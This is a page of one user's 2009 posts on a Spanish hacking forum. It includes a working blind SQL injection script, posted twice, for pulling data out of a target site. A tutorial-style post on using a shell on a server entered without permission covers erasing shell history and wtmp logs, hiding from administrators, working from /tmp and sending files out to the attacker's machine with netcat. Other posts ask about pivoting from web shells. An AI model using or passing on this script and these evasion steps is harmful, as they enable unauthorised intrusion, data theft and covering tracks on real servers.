elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Únete al Grupo Steam elhacker.NET


  Mostrar Mensajes
Páginas: 1 2 [3] 4
21  Seguridad Informática / Nivel Web / Re: MSSQL jet DB en: 13 Noviembre 2009, 01:09 am
Si te saca los errores por pantalla creo que también puedes hacerlo con el método "error based sql injecton". Echale un vistazo en google a ver si te sirve.
Saludos!
22  Seguridad Informática / Nivel Web / Script para extraer datos de bsqli en python en: 2 Noviembre 2009, 21:09 pm
hola a todos!
hace algún tiempo publiqué éste script en la sección de scripting del foro pero ahora me doy cuenta de que lo debería haber puesto aquí. Es un script para extraer datos de una inyección sql ciega. Viene bien caundo otras herramientas automáticas no detectan el punto de inyección. Modificando un poco el code sirve para todas las situaciones.
Me gustartía que me dijerais de qué forma mejorarías la forma de encontrar el caracter correcto ya que me método es bastante cutre.jeje.
Código
  1. #!/usr/bin/python
  2. # -*- coding: iso-8859-1 -*-
  3.  
  4. import re
  5. import urllib
  6. import urllib2
  7. import sys
  8. import cookielib
  9. from socket import ssl
  10.  
  11. ua = "Mozilla/5.0 (compatible; Konqueror/3.5.8; Linux)"
  12. h = {"User-Agent" : ua}
  13.  
  14. letra = [' ','!','\"','#','$','%','&','\'','(',')','*','+',',','-','.','/','0','1','2','3','4','5','6','7','8','9',':',';','<','=','>','?','@','A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P','Q','R','S','T','U','V','W','X','Y','Z','[','\\',']','^','_','`','a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z','{','|','~','~','~','~','~','~','~','~','~','~']
  15.  
  16. usage =  "\n\n+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++\n\n"
  17. usage += "usage: %s \"url\" \"consulta sql\"   \n" % sys.argv[0]
  18. usage += "ejemplo: %s \"wwww.host.com/a.php?c=1\" \"SELECT user FROM usuarios limit 0,1\"\n" %  sys.argv[0]
  19. usage += "\n\n++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++\n\n"
  20. if len(sys.argv) < 3:
  21. print usage
  22. exit()
  23.  
  24. hsh = urllib2.HTTPSHandler()
  25. cookie_h = urllib2.HTTPCookieProcessor()
  26. opener = urllib2.build_opener(cookie_h,hsh,urllib2.HTTPCookieProcessor())
  27. urllib2.install_opener(opener)
  28.  
  29. x = 1
  30. y = 45
  31.  
  32. url = sys.argv[1]
  33. param = sys.argv[2]
  34. sql = param.replace(" ", "%20")
  35.  
  36. def mayor():
  37. request = opener.open(url+"%20and%20ascii(substring(("+sql+"),"+str(x)+",1))>"+str(ord(letra[y]))+"")                  
  38. if request.read().find( " STRING A ENCONTRAR CUANDO LA CONSULTA ES CIERTA " ) != -1:
  39. return 1
  40. def menor():
  41. request = opener.open(url+"%20and%20ascii(substring(("+sql+"),"+str(x)+",1))<"+str(ord(letra[y]))+"")
  42. if request.read().find( " STRING A ENCONTRAR CUANDO LA CONSULTA ES CIERTA " ) != -1:
  43. return 1
  44. def salida():
  45. request = opener.open(url+"%20and%20ascii(substring(("+sql+"),"+str(x)+",1))=0")
  46. if request.read().find( " STRING A ENCONTRAR CUANDO LA CONSULTA ES CIERTA " ) != -1:
  47. return 1
  48. def acierto():
  49. request = opener.open(url+"%20and%20ascii(substring(("+sql+"),"+str(x)+",1))="+str(ord(letra[y]))+"")
  50. if request.read().find( " STRING A ENCONTRAR CUANDO LA CONSULTA ES CIERTA " ) != -1:
  51. return 1
  52.  
  53. try:
  54.    while True:
  55. if acierto():
  56. x += 1
  57. print letra[y]
  58. if salida():
  59. exit()
  60.  
  61. elif mayor():
  62. y += 10
  63. if mayor():
  64. y += 5
  65. elif menor():
  66. y -= 1
  67. elif acierto():
  68. x += 1
  69. print letra[y]
  70. else:
  71. if menor():
  72. y -= 7
  73. if menor():
  74. y -= 10
  75. elif mayor():
  76. y += 1
  77. elif acierto():
  78. x += 1
  79. print letra[y]
  80. else:
  81. print "error"
  82. exit()
  83.  
  84. except KeyboardInterrupt:
  85.     print "\n Cierro"

Un saludo!!
23  Seguridad Informática / Hacking / "truquillos" que facilitan un poco la vida en una shell remota en: 1 Noviembre 2009, 04:36 am
Hola a todos!!

      Me gustría compartir con vosotros algunos comandos y pequeños consejos que facilitan algo las cosas en una shell remota. Muchas veces cuando conseguimos una shell en un sistema remoto es más "fea" que pegarle a un padre con un calcetin sudao... me refiero a que no hay "prompt" y no se sabe donde empieza y acaba la salida de un comando. Para solucionar ésto se pueden escribir un par de comandos que hacen la shell más "clara":
Código:
export TERM=xterm; exec bash -i
Además si no se quiere dejar huella en el archivo ".bash_history" también se deberá ejecutar:
Código:
unset HISTFILE; unset SAVEHIST

      Una de las cosas de las que hay que estar pendiente cuando se accede a un servidor es de quíen está conectado. Si quién está conectado "legítimamente" hace un listado de los procesos o las conexiones es muy probable que nos descubran. Para ver quién está conectado basta con ejecutar el comando:
Código:
w
o bien
Código:
who

      Si al ejecutar esos comandos vemos que hay alguien conectado lo más razonable es desconectarse. Aunque la shell no aparezca reflejada en los procesos o en las conexiones (netstat) si al usuario conectado le da por usar tcpdump verá actividad sospechosa...

      Otra cosa muy útil es ver quíen cuándo y desde dónde ha accedido al servidor. Ésto se puede saber fácilmente con el comando
Código:
last
el cual hace uso del archivo wtmp por defecto (/var/log/wtmp) así que si os habeis conectado por ssh aseguraos de limpiar ese archivo si no quereis ser descubiertos.

      Las conexiones por SSH son ruidosas y dejan mucho rastro así que lo mejor es evitarlas aunque obviamente tienen sus ventajas ya que al conectarnos a una pts podemos hacer cosas que desde una shell interactiva no se pueden como por ejemplo conectarnos por SSH a otras máquinas o tener "job control" es decir, poder traer al frente (foreground, comando fg) un proceso que anteriormente habíamos puesto en background (añadiendo & al final del comando).

      Si el acceso al servidor es "ilegal" es decir, no tienes permiso explícito para ello, utiliza la carpeta "/tmp" para todo lo que tengas que hacer. Normalmente no se revisa y si se hace no se hace muy detalladamente.

      Hay algunos programas que son esenciales si se quiere curiosear un poco por la red del servidor. El primero es netcat. Te puede servir desde backdoor improvisado hasta transferencia de archivos. Se compila sin problenas desde las fuentes incluso en kernels viejunos. Por si no lo sabeis para enviar archivos con netcat se hace de la siguiente manera:

En tu máquina:
Código:
nc -l -p tupuerto > archivo
En el servidor:
Código:
nc tuip tupuerto -vv < archivo &

      Es preferible poner nc a la escucha en tu máquina por si el servidor está detrás de un firewall, si no es así se pueden invertir los papeles. Lo de añadir "&" al final del comando del servidor es para dejar el proceso en background y poder seguir ejecutando comandos mientras se transfiere el archivo ya que a veces nc se pone tonto y te puede dejar sin shell, teniendo que volver a conectarte. Asegurate de "matar" el proceso de nc en el servidor una vez transferido el archivo si éste no se cierra sólo.

      Otra herramienta muy útil es nmap. En servidores un poco viejos las versiones más nuevas te darán problemas de dependencias y tampoco es plan de instalar 10000 librerías en el servidor. Busca versiones más viejas o paquetes rpm para el servidor concreto. Si es redhat o alguna de sus variantes puedes ver que versión corre en "/etc/redhat-release". Una buena fuente de archivos rpm es:
Código:
http://rpm.pbone.net/

      Si necesitas instalar versiones nuevas de algún programa ya instalado en el servidor hazlo siempre dejando la versión vieja tal como está. Es decir, por ejemplo si el servidor tiene instalado python1.5 y tú necesitas python2.4 para correr el sslstrip deja python1.5 como principal e instala python2.4 como secundario (se hace con "make altinstall" en lugar de "make install"). Si no lo haces así puedes dejar inservibles scripts creados por usuarios legítimos.

      Cuando accedes al servidor también es recomendable (si eres root, claro está) echar un vistazo a los .bash_history de las carpetas de los distintos usuarios. A parte de aprender mucho con los comandos que ejecutan los administradores te servirá para ver qué logs revisan, dónde y cómo se conectan...

     Intenta siempre no dejar "*****" en el servidor. Usando la carpeta "/tmp" siempre te ahorras bastantes quebraderos de cabeza. Un comando útil para ver qué archivos has modificado/creado es:
Código:
ls -lart
      Éste comando lista todos los archivos de la carpeta en la que te encuentras ordenados inversamente por fecha de modificación, es decir, el más nuevo abajo, de manera que puedes ver que archivos has creado/modificado tú o se han creado mientras estabas conectado.

      Un programilla útil aunque con doble filo es ettercap. Como ya sabreis sirve como sniffer, MitM y algunas cosillas más, sin embargo es bastante peligroso en determinados ambientes. En una red de servidores o centro de datos, a los 30 segundos de hacer un MitM tendrás al señor root conectado mirando a ver qué pasa. En las redes de servidores el gateway, por malo que sea se dará cuenta del arp spoofing y probablemente bloqueará el tráfico hacia los hosts afectados por lo que lo único que conseguirás es dejar sin servicio el host y llenar la red de alarmas.

      Si eres detectado antes de reportar la vulnerabilidad que te dió acceso es interesante volver a entrar y revisar el .bash_history para ver cómo y poqué has sido detectado. Aprenderás mucho. Por supuesto después de hacerlo reporta dónde está el fallo y si es posible cómo solucionarlo y no vuelvas a entrar. Si te han detectado han ganado la partida y debes retirarte con buen perder, así son las normas del juego.  ;D

      Una de la primeras cosas que se deberían aprender es que siendo l@mer no se aprende... No vayas por el mundo defaceando webs o haciendo "rm -rf /" (si no sabes lo que hace eso, no lo pruebes). La gente trabaja duro para mantener servidores y crear webs y joder su trabajo no aprenderás nada. En lugar de ello revisa la configuración del servidor (la carpeta /etc es una mina) y aprende de ello, infórmate sobre para qué sirve cada archivo allí alojado y piensa cómo lo mejorarías.

      Cuando hayas curioseado y aprendido lo suficiente y sin poner en peligo el servidor ni la información que allí se aloja reporta SIEMPRE la vulnerabilidad que te dió acceso. Si el servidor es "crítico" o maneja datos demasiado "sensibles" reporta la vulnerabilidad enseguida, puedes causar mucho más mal del que crees. Al reportar la vulnerabilidad te puedes encontrar de todo, desde gente que te quiere demandar hasta gente que te estará eternamente agradecida. Por si acaso reporta la vulnerabilidad desde un correo completamente desvinculado de tus datos personales.

      Otra forma "curiosa" y divertida de reportar el fallo es esperar a que root se conecte y usar el comando wall. Para ello creas un archivo con lo que quieres decirle al administrador  y ejecutas "wall < archivo". Ésto hará que le aparezca a todos los usuarios conectados (procura que sólo sea root) a una consola el mensaje que hayas escrito en "archivo". Por ejemplo:
Código:
echo "Hola, su servidor ha sido comprometido, para más información ejecute 'nc localhost 5555'" > mensaje
wall < mensaje
nc -l -p 5555 -vv
      De ésta forma el sr. root sabrá que le estás esperando en el puerto 5555 del servidor para tener una charla sobre la vulnerabilidad que has encontrado en su servidor.

      Bueno, éstos son todos los consejos que tengo que daros por ahora a los que os iniciais en ésto. No pretenden ser una tabla de mandamientos a seguir, simplemente son cosas de las que me he dado cuenta en el poco tiempo que llevo en ésto y que pueden seros útiles. Me gustaría que más gente aportara cosas que facilitan el trbajo en una shell remota o consejos que tengan que darnos a los que nos iniciamos en ésto.

      Ah! por si no ha quedado claro lo aquí expuesto es para sistemas UNIX.

      Un saludo!
24  Programación / Scripting / [python] Script Blind Sql Injection en: 24 Septiembre 2009, 12:11 pm
Hola! He hecho un pequeño script para sacar datos de una blind SQL injection en python pero me gustaría que me dierais algun consejo y sugerencia. El script es éste:
Código
  1. #!/usr/bin/python
  2. # -*- coding: iso-8859-1 -*-
  3.  
  4. import re
  5. import urllib
  6. import urllib2
  7. import sys
  8. import cookielib
  9. from socket import ssl
  10.  
  11. ua = "Mozilla/5.0 (compatible; Konqueror/3.5.8; Linux)"
  12. h = {"User-Agent" : ua}
  13.  
  14. letra = [' ','!','\"','#','$','%','&','\'','(',')','*','+',',','-','.','/','0','1','2','3','4','5','6','7','8','9',':',';','<','=','>','?','@','A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P','Q','R','S','T','U','V','W','X','Y','Z','[','\\',']','^','_','`','a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z','{','|','~','~','~','~','~','~','~','~','~','~']
  15.  
  16. usage =  "\n\n+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++\n\n"
  17. usage += "usage: %s \"url\" \"consulta sql\"   \n" % sys.argv[0]
  18. usage += "ejemplo: %s \"wwww.host.com/a.php?c=1\" \"SELECT user FROM usuarios limit 0,1\"\n" %  sys.argv[0]
  19. usage += "\n\n++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++\n\n"
  20. if len(sys.argv) < 3:
  21. print usage
  22. exit()
  23.  
  24. hsh = urllib2.HTTPSHandler()
  25. cookie_h = urllib2.HTTPCookieProcessor()
  26. opener = urllib2.build_opener(cookie_h,hsh,urllib2.HTTPCookieProcessor())
  27. urllib2.install_opener(opener)
  28.  
  29. x = 1
  30. y = 45
  31.  
  32. url = sys.argv[1]
  33. param = sys.argv[2]
  34. sql = param.replace(" ", "%20")
  35.  
  36. def mayor():
  37. request = opener.open(url+"%20and%20ascii(substring(("+sql+"),"+str(x)+",1))>"+str(ord(letra[y]))+"")                  
  38. if request.read().find( " STRING A ENCONTRAR CUANDO LA CONSULTA ES CIERTA " ) != -1:
  39. return 1
  40. def menor():
  41. request = opener.open(url+"%20and%20ascii(substring(("+sql+"),"+str(x)+",1))<"+str(ord(letra[y]))+"")
  42. if request.read().find( " STRING A ENCONTRAR CUANDO LA CONSULTA ES CIERTA " ) != -1:
  43. return 1
  44. def salida():
  45. request = opener.open(url+"%20and%20ascii(substring(("+sql+"),"+str(x)+",1))=0")
  46. if request.read().find( " STRING A ENCONTRAR CUANDO LA CONSULTA ES CIERTA " ) != -1:
  47. return 1
  48. def acierto():
  49. request = opener.open(url+"%20and%20ascii(substring(("+sql+"),"+str(x)+",1))="+str(ord(letra[y]))+"")
  50. if request.read().find( " STRING A ENCONTRAR CUANDO LA CONSULTA ES CIERTA " ) != -1:
  51. return 1
  52.  
  53. try:
  54.    while True:
  55. if acierto():
  56. x += 1
  57. print letra[y]
  58. if salida():
  59. exit()
  60.  
  61. elif mayor():
  62. y += 10
  63. if mayor():
  64. y += 5
  65. elif menor():
  66. y -= 1
  67. elif acierto():
  68. x += 1
  69. print letra[y]
  70. else:
  71. if menor():
  72. y -= 7
  73. if menor():
  74. y -= 10
  75. elif mayor():
  76. y += 1
  77. elif acierto():
  78. x += 1
  79. print letra[y]
  80. else:
  81. print "error"
  82. exit()
  83.  
  84. except KeyboardInterrupt:
  85.     print "\n Cierro"
  86.  
  87.  
  88.  

Me gustaría que me hicierais alguna sugerencia sobre como encontrar con el menor número de intentos la letra correcta. La
forma en que lo hago es bastante rudimentaria y seguro que hay alguna más eficaz.
También me gustaría saber si hay alguna forma de que, al usar "print" me vaya sacando las letras que encuentra en la
misma línea.
Gracias!!

PD: no os riais mucho que estoy empezando con python y con la programación en general!! jeje.
25  Programación / PHP / ¿existe o se podría crear algun navegador web en php? en: 24 Abril 2009, 06:26 am
Mi duda es la siguiente: a través de tu navegador (pongamos firefox por ejemplo) sería posible ejecutar otro navegador web en php? Parece una tontería pero desde el punto de vista del hacking me parece bastante útil ya que hay muchos servidores filtrados por un firewall pero que si consigues acceder a uno de ellos y le subes ese "navegador wen imaginario en php" tienes acceso a los demás.
Bueno, esa es mi cuestión, espero que alguien pueda responderme.
Un saludo!
26  Seguridad Informática / Hacking / [Duda]Conexión a base de datos Oracle en: 23 Abril 2009, 05:44 am
Hola! quisiera saber si hay alguna forma de conectar a una base de datos Oracle de manera similar a como se hace por ejemplo con la c99 shell para las mysql. Si no es posible también me vendría bien que alguen me dijera como se podría conectar con dicha base de datos si se tiene acceso al servidor que la utiliza y ésta se encuentra en otro servidor.
La cuestión es que desde mi ordenador me aparecen todos los puertos del servidor con la base de datos cerrados pero desde el server remoto al que tengo acceso si que se puede contactar con dicho servidor.
Bueno, eso es todo, espero que alguien me pueda ayudar :)

Gracias!
27  Programación / Scripting / Re: ¿?convertir ascii a hex en python¿? en: 26 Febrero 2009, 23:14 pm
ya lo solucione.jeje.
la cuestion es que tenia que leer los users y los hashes de un archivo de texto, dcodificar los hashes de base64 y convertir el resultado a hexadecimal. lo que pasaba es que al hacerlo con archivo.write() me escribia todo en la misma linea pero ya encontre la forma de meter el salto de linea correctamente.jejeje.
28  Programación / Scripting / Re: ¿?convertir ascii a hex en python¿? en: 21 Febrero 2009, 17:42 pm
Algo así había conseguido con éste código:
Código:
import base64

txt = open("archivo", "r")
for l in txt.xreadlines():
l = base64.decodestring(l[-29:-1])
for c in l:
print hex(ord(c))

pero la cuestion es que yo quiero que me convierta cada cadena que le paso con "l", no cada caracter... o en caso de que no se pueda convertir una cadena entera, tal vez me puedan decir si hay alguna forma de ordenar los caracteres para que me salga en cada línea la correspondiente cadena.
Ah y gracias por contestar!!
29  Programación / Scripting / [Python] ¿?convertir ascii a hex en python¿? en: 21 Febrero 2009, 16:12 pm
Hola! estoy haciendome un pequeño script en python para que coja un archivo, decodifique una parte de cada linea de base64 y luego lo convierta el resultado a hexadecimal. El problema es que no se que función hay que usar en python para convertir caracteres ascii a hexadecimales...
la funcion hex creo que sólo sirve para números. Espero que me podais ayudar.
Gracias!!
30  Programación / Scripting / Re: Sockets en Python [+Ejemplos y Ejercicios] en: 18 Febrero 2009, 13:52 pm
yo sigo esperando éste post :(
Páginas: 1 2 [3] 4
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines